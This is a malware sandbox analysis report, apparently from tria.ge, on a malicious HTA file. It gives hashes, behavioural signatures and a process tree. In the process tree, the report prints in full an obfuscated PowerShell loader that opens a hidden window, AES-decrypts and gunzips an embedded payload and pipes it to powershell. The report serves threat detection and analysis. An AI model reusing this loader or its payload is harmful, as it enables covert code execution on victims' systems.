Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
159s -
max time network
175s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
12/10/2023, 06:57
Static task
static1
Behavioral task
behavioral1
Sample
51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98.hta
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98.hta
Resource
win10v2004-20230915-en
General
-
Target
51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98.hta
-
Size
1.3MB
-
MD5
12e11aec09a12f714ccf9ab425ca70e9
-
SHA1
9dead6076a2dadf2c2b530038bd4c3f6c0eb5aaa
-
SHA256
51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98
-
SHA512
29834691a9ca405b875622f273320699e71e2fab5cf5ef396f6248bfaf4e88836bbfc8817ebeea24f8ea2ebd19df3510bf28b1026a9a1a7d25fd6f32494ae74d
-
SSDEEP
3072:rsas4u5vq277nFQX1OW9zBvG7+jY8iJgeUeBTfRtqvaZmcI2oZRa/FU:4aRu5vbFQXU653j0JDDDZmcI2oZRaNU
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 59 2860 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 4036 powershell.exe 4036 powershell.exe 3148 powershell.exe 2860 powershell.exe 3148 powershell.exe 2860 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4036 powershell.exe Token: SeDebugPrivilege 3148 powershell.exe Token: SeDebugPrivilege 2860 powershell.exe Token: SeIncreaseQuotaPrivilege 2860 powershell.exe Token: SeSecurityPrivilege 2860 powershell.exe Token: SeTakeOwnershipPrivilege 2860 powershell.exe Token: SeLoadDriverPrivilege 2860 powershell.exe Token: SeSystemProfilePrivilege 2860 powershell.exe Token: SeSystemtimePrivilege 2860 powershell.exe Token: SeProfSingleProcessPrivilege 2860 powershell.exe Token: SeIncBasePriorityPrivilege 2860 powershell.exe Token: SeCreatePagefilePrivilege 2860 powershell.exe Token: SeBackupPrivilege 2860 powershell.exe Token: SeRestorePrivilege 2860 powershell.exe Token: SeShutdownPrivilege 2860 powershell.exe Token: SeDebugPrivilege 2860 powershell.exe Token: SeSystemEnvironmentPrivilege 2860 powershell.exe Token: SeRemoteShutdownPrivilege 2860 powershell.exe Token: SeUndockPrivilege 2860 powershell.exe Token: SeManageVolumePrivilege 2860 powershell.exe Token: 33 2860 powershell.exe Token: 34 2860 powershell.exe Token: 35 2860 powershell.exe Token: 36 2860 powershell.exe Token: SeIncreaseQuotaPrivilege 2860 powershell.exe Token: SeSecurityPrivilege 2860 powershell.exe Token: SeTakeOwnershipPrivilege 2860 powershell.exe Token: SeLoadDriverPrivilege 2860 powershell.exe Token: SeSystemProfilePrivilege 2860 powershell.exe Token: SeSystemtimePrivilege 2860 powershell.exe Token: SeProfSingleProcessPrivilege 2860 powershell.exe Token: SeIncBasePriorityPrivilege 2860 powershell.exe Token: SeCreatePagefilePrivilege 2860 powershell.exe Token: SeBackupPrivilege 2860 powershell.exe Token: SeRestorePrivilege 2860 powershell.exe Token: SeShutdownPrivilege 2860 powershell.exe Token: SeDebugPrivilege 2860 powershell.exe Token: SeSystemEnvironmentPrivilege 2860 powershell.exe Token: SeRemoteShutdownPrivilege 2860 powershell.exe Token: SeUndockPrivilege 2860 powershell.exe Token: SeManageVolumePrivilege 2860 powershell.exe Token: 33 2860 powershell.exe Token: 34 2860 powershell.exe Token: 35 2860 powershell.exe Token: 36 2860 powershell.exe Token: SeIncreaseQuotaPrivilege 2860 powershell.exe Token: SeSecurityPrivilege 2860 powershell.exe Token: SeTakeOwnershipPrivilege 2860 powershell.exe Token: SeLoadDriverPrivilege 2860 powershell.exe Token: SeSystemProfilePrivilege 2860 powershell.exe Token: SeSystemtimePrivilege 2860 powershell.exe Token: SeProfSingleProcessPrivilege 2860 powershell.exe Token: SeIncBasePriorityPrivilege 2860 powershell.exe Token: SeCreatePagefilePrivilege 2860 powershell.exe Token: SeBackupPrivilege 2860 powershell.exe Token: SeRestorePrivilege 2860 powershell.exe Token: SeShutdownPrivilege 2860 powershell.exe Token: SeDebugPrivilege 2860 powershell.exe Token: SeSystemEnvironmentPrivilege 2860 powershell.exe Token: SeRemoteShutdownPrivilege 2860 powershell.exe Token: SeUndockPrivilege 2860 powershell.exe Token: SeManageVolumePrivilege 2860 powershell.exe Token: 33 2860 powershell.exe Token: 34 2860 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1280 wrote to memory of 4036 1280 mshta.exe 88 PID 1280 wrote to memory of 4036 1280 mshta.exe 88 PID 1280 wrote to memory of 4036 1280 mshta.exe 88 PID 4036 wrote to memory of 1264 4036 powershell.exe 98 PID 4036 wrote to memory of 1264 4036 powershell.exe 98 PID 4036 wrote to memory of 1264 4036 powershell.exe 98 PID 1264 wrote to memory of 3148 1264 cmd.exe 100 PID 1264 wrote to memory of 3148 1264 cmd.exe 100 PID 1264 wrote to memory of 3148 1264 cmd.exe 100 PID 1264 wrote to memory of 2860 1264 cmd.exe 101 PID 1264 wrote to memory of 2860 1264 cmd.exe 101 PID 1264 wrote to memory of 2860 1264 cmd.exe 101
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\51ab827a541737c3612f61ec35e7c824a8f6df3a1b800dd0748c3f5a9901bc98.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1280 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $oUjKXXPP = 'AAAAAAAAAAAAAAAAAAAAAMh/3hf4IgQmfspR9EdE6Uau6j1WCjHn5PU9gxaekl+kbHtuzGLYPB4KS64eKTJfmRu5ehXCQCMGsVlYWrjpxFt/b9leZig9m/s3l7f2nOlajok91u4eQq1+tOhDm0/S0nMc5kWyJpGsIfp+0nobSIt+EvyK6zG9GOlo4sixk7yOUbMbh3dfaV+AOctUddFVNmJ/jCXjK5D+3uow4OHzz0He3fDE7yqX9Mf8wK4eEMKApKC2bGDHsPXcUt0gSMuRxAh5NiU47JgoDQsPp3+49WTGpCMx7pV+3jG+9eqC8CjN9tA9HifY9yYlvR1hP+4sX55dPZD9qMvF44/D91H8cDTx/2IIb6QxD8xA42GDktZQjI3W3yMB3zCiOWBji8hfkgXn80thYVtUeYx/gUKfbOgFFIz1sKW7duWrAtscfsJEVGLbs8tlNcJzDS9bBe4a1DIFynVWID++e3+kWaNNXeVR0yDNRHjjFyJ+2ehJLf8C5tPynp6LSRxi/e/JEd32sF5mprohM8td9mDqUYNKglbOIjn8kMPzbxoUoH9iXhZrTwhsg6K9rzopfxP4gwrj916OY7z3oLCfo8SNKQS16ZiS2hdbHxrWbJPlxojm3gNvaz/pKSZ9Mya9mgXPAIYFCnG94IbQh1/KH8J2wikAL25visbXsqwqIk259dDmNtsM+og1aQGwtCEO0fuARgdDdik97R8VVruxgCm8IhIhRUQBPTg/dhiUhOEJ1uF7Q0lUS6L9E7xzqnzVFWb3CVaST6nE37ksaIaVZNwDTVbI4laLq1LnfK7nd9I0OX/KyAW93kkcE6CbMTLAJo2N49WuSyTyRucDVThkSUZdSm1R25k9KxzVuEoX6cYgvhvBqu1hHnHswoq9HfKHCkSDsbhdkW7/WB7gE0qHa3niBxWxI//an3TMnPIX5zy3tMgcBwW80Lel/c63YsRXRHyTSuEUSbW/lH3Ck8WRIoskAH3sQEtkvtpR2/eUdzDs55BowJltvhoeMA1MfKtJujAdJ1MC08q4O2JxxyTgpnbYLgY2KmHuICWsAMWpuKGlebCCepqutrqaKOUfxuZi/GyoT1/V8L5woFux4EMqfbDmwmQResq1f9GpHLW88Kp27MD6cUn/98r3eRXsbE66U6W0Lxci1v86ySLKh3aA6sXEC5Dk0Vg=';$wgQxX = 'RE1ud0xDdnhIZ3dvZlRLWFFLbExvZVNZZ3ZnaGJCd0w=';$MkmLpzdO = New-Object 'System.Security.Cryptography.AesManaged';$MkmLpzdO.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MkmLpzdO.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MkmLpzdO.BlockSize = 128;$MkmLpzdO.KeySize = 256;$MkmLpzdO.Key = [System.Convert]::FromBase64String($wgQxX);$XICaV = [System.Convert]::FromBase64String($oUjKXXPP);$QxfpGTik = $XICaV[0..15];$MkmLpzdO.IV = $QxfpGTik;$bgWQPfldP = $MkmLpzdO.CreateDecryptor();$FQuUUaNPi = $bgWQPfldP.TransformFinalBlock($XICaV, 16, $XICaV.Length - 16);$MkmLpzdO.Dispose();$WDURE = New-Object System.IO.MemoryStream( , $FQuUUaNPi );$heVzth = New-Object System.IO.MemoryStream;$VQZLTCxHY = New-Object System.IO.Compression.GzipStream $WDURE, ([IO.Compression.CompressionMode]::Decompress);$VQZLTCxHY.CopyTo( $heVzth );$VQZLTCxHY.Close();$WDURE.Close();[byte[]] $IhzJwjj = $heVzth.ToArray();$iuvXSZ = [System.Text.Encoding]::UTF8.GetString($IhzJwjj);$iuvXSZ | powershell - }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell.exe $oUjKXXPP = 'AAAAAAAAAAAAAAAAAAAAAMh/3hf4IgQmfspR9EdE6Uau6j1WCjHn5PU9gxaekl+kbHtuzGLYPB4KS64eKTJfmRu5ehXCQCMGsVlYWrjpxFt/b9leZig9m/s3l7f2nOlajok91u4eQq1+tOhDm0/S0nMc5kWyJpGsIfp+0nobSIt+EvyK6zG9GOlo4sixk7yOUbMbh3dfaV+AOctUddFVNmJ/jCXjK5D+3uow4OHzz0He3fDE7yqX9Mf8wK4eEMKApKC2bGDHsPXcUt0gSMuRxAh5NiU47JgoDQsPp3+49WTGpCMx7pV+3jG+9eqC8CjN9tA9HifY9yYlvR1hP+4sX55dPZD9qMvF44/D91H8cDTx/2IIb6QxD8xA42GDktZQjI3W3yMB3zCiOWBji8hfkgXn80thYVtUeYx/gUKfbOgFFIz1sKW7duWrAtscfsJEVGLbs8tlNcJzDS9bBe4a1DIFynVWID++e3+kWaNNXeVR0yDNRHjjFyJ+2ehJLf8C5tPynp6LSRxi/e/JEd32sF5mprohM8td9mDqUYNKglbOIjn8kMPzbxoUoH9iXhZrTwhsg6K9rzopfxP4gwrj916OY7z3oLCfo8SNKQS16ZiS2hdbHxrWbJPlxojm3gNvaz/pKSZ9Mya9mgXPAIYFCnG94IbQh1/KH8J2wikAL25visbXsqwqIk259dDmNtsM+og1aQGwtCEO0fuARgdDdik97R8VVruxgCm8IhIhRUQBPTg/dhiUhOEJ1uF7Q0lUS6L9E7xzqnzVFWb3CVaST6nE37ksaIaVZNwDTVbI4laLq1LnfK7nd9I0OX/KyAW93kkcE6CbMTLAJo2N49WuSyTyRucDVThkSUZdSm1R25k9KxzVuEoX6cYgvhvBqu1hHnHswoq9HfKHCkSDsbhdkW7/WB7gE0qHa3niBxWxI//an3TMnPIX5zy3tMgcBwW80Lel/c63YsRXRHyTSuEUSbW/lH3Ck8WRIoskAH3sQEtkvtpR2/eUdzDs55BowJltvhoeMA1MfKtJujAdJ1MC08q4O2JxxyTgpnbYLgY2KmHuICWsAMWpuKGlebCCepqutrqaKOUfxuZi/GyoT1/V8L5woFux4EMqfbDmwmQResq1f9GpHLW88Kp27MD6cUn/98r3eRXsbE66U6W0Lxci1v86ySLKh3aA6sXEC5Dk0Vg=';$wgQxX = 'RE1ud0xDdnhIZ3dvZlRLWFFLbExvZVNZZ3ZnaGJCd0w=';$MkmLpzdO = New-Object 'System.Security.Cryptography.AesManaged';$MkmLpzdO.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MkmLpzdO.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MkmLpzdO.BlockSize = 128;$MkmLpzdO.KeySize = 256;$MkmLpzdO.Key = [System.Convert]::FromBase64String($wgQxX);$XICaV = [System.Convert]::FromBase64String($oUjKXXPP);$QxfpGTik = $XICaV[0..15];$MkmLpzdO.IV = $QxfpGTik;$bgWQPfldP = $MkmLpzdO.CreateDecryptor();$FQuUUaNPi = $bgWQPfldP.TransformFinalBlock($XICaV, 16, $XICaV.Length - 16);$MkmLpzdO.Dispose();$WDURE = New-Object System.IO.MemoryStream( , $FQuUUaNPi );$heVzth = New-Object System.IO.MemoryStream;$VQZLTCxHY = New-Object System.IO.Compression.GzipStream $WDURE, ([IO.Compression.CompressionMode]::Decompress);$VQZLTCxHY.CopyTo( $heVzth );$VQZLTCxHY.Close();$WDURE.Close();[byte[]] $IhzJwjj = $heVzth.ToArray();$iuvXSZ = [System.Text.Encoding]::UTF8.GetString($IhzJwjj);$iuvXSZ | powershell -3⤵
- Suspicious use of WriteProcessMemory
PID:1264 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe $oUjKXXPP = 'AAAAAAAAAAAAAAAAAAAAAMh/3hf4IgQmfspR9EdE6Uau6j1WCjHn5PU9gxaekl+kbHtuzGLYPB4KS64eKTJfmRu5ehXCQCMGsVlYWrjpxFt/b9leZig9m/s3l7f2nOlajok91u4eQq1+tOhDm0/S0nMc5kWyJpGsIfp+0nobSIt+EvyK6zG9GOlo4sixk7yOUbMbh3dfaV+AOctUddFVNmJ/jCXjK5D+3uow4OHzz0He3fDE7yqX9Mf8wK4eEMKApKC2bGDHsPXcUt0gSMuRxAh5NiU47JgoDQsPp3+49WTGpCMx7pV+3jG+9eqC8CjN9tA9HifY9yYlvR1hP+4sX55dPZD9qMvF44/D91H8cDTx/2IIb6QxD8xA42GDktZQjI3W3yMB3zCiOWBji8hfkgXn80thYVtUeYx/gUKfbOgFFIz1sKW7duWrAtscfsJEVGLbs8tlNcJzDS9bBe4a1DIFynVWID++e3+kWaNNXeVR0yDNRHjjFyJ+2ehJLf8C5tPynp6LSRxi/e/JEd32sF5mprohM8td9mDqUYNKglbOIjn8kMPzbxoUoH9iXhZrTwhsg6K9rzopfxP4gwrj916OY7z3oLCfo8SNKQS16ZiS2hdbHxrWbJPlxojm3gNvaz/pKSZ9Mya9mgXPAIYFCnG94IbQh1/KH8J2wikAL25visbXsqwqIk259dDmNtsM+og1aQGwtCEO0fuARgdDdik97R8VVruxgCm8IhIhRUQBPTg/dhiUhOEJ1uF7Q0lUS6L9E7xzqnzVFWb3CVaST6nE37ksaIaVZNwDTVbI4laLq1LnfK7nd9I0OX/KyAW93kkcE6CbMTLAJo2N49WuSyTyRucDVThkSUZdSm1R25k9KxzVuEoX6cYgvhvBqu1hHnHswoq9HfKHCkSDsbhdkW7/WB7gE0qHa3niBxWxI//an3TMnPIX5zy3tMgcBwW80Lel/c63YsRXRHyTSuEUSbW/lH3Ck8WRIoskAH3sQEtkvtpR2/eUdzDs55BowJltvhoeMA1MfKtJujAdJ1MC08q4O2JxxyTgpnbYLgY2KmHuICWsAMWpuKGlebCCepqutrqaKOUfxuZi/GyoT1/V8L5woFux4EMqfbDmwmQResq1f9GpHLW88Kp27MD6cUn/98r3eRXsbE66U6W0Lxci1v86ySLKh3aA6sXEC5Dk0Vg=';$wgQxX = 'RE1ud0xDdnhIZ3dvZlRLWFFLbExvZVNZZ3ZnaGJCd0w=';$MkmLpzdO = New-Object 'System.Security.Cryptography.AesManaged';$MkmLpzdO.Mode = [System.Security.Cryptography.CipherMode]::ECB;$MkmLpzdO.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$MkmLpzdO.BlockSize = 128;$MkmLpzdO.KeySize = 256;$MkmLpzdO.Key = [System.Convert]::FromBase64String($wgQxX);$XICaV = [System.Convert]::FromBase64String($oUjKXXPP);$QxfpGTik = $XICaV[0..15];$MkmLpzdO.IV = $QxfpGTik;$bgWQPfldP = $MkmLpzdO.CreateDecryptor();$FQuUUaNPi = $bgWQPfldP.TransformFinalBlock($XICaV, 16, $XICaV.Length - 16);$MkmLpzdO.Dispose();$WDURE = New-Object System.IO.MemoryStream( , $FQuUUaNPi );$heVzth = New-Object System.IO.MemoryStream;$VQZLTCxHY = New-Object System.IO.Compression.GzipStream $WDURE, ([IO.Compression.CompressionMode]::Decompress);$VQZLTCxHY.CopyTo( $heVzth );$VQZLTCxHY.Close();$WDURE.Close();[byte[]] $IhzJwjj = $heVzth.ToArray();$iuvXSZ = [System.Text.Encoding]::UTF8.GetString($IhzJwjj);$iuvXSZ4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3148
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2860
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5def65711d78669d7f8e69313be4acf2e
SHA16522ebf1de09eeb981e270bd95114bc69a49cda6
SHA256aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
SHA51205b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7
-
Filesize
15KB
MD5c6107dd4cb2356ca1a38cf615c7a23ba
SHA110a959ec74b584f2b272f27a8c0c4395d38ab8b2
SHA256c25536ce2ca84f7cc9bc1457062ef8294bf5b5c82f7d6fff35847800519fe4e6
SHA5127c88cf20dbda5e01d90721e91e8a86ade7505487c4b1b07fba7ae441aa776c365ab11db91f9af6af88a94fc06338894e46ae5979e2a39a46de3d1e5e705694dd
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82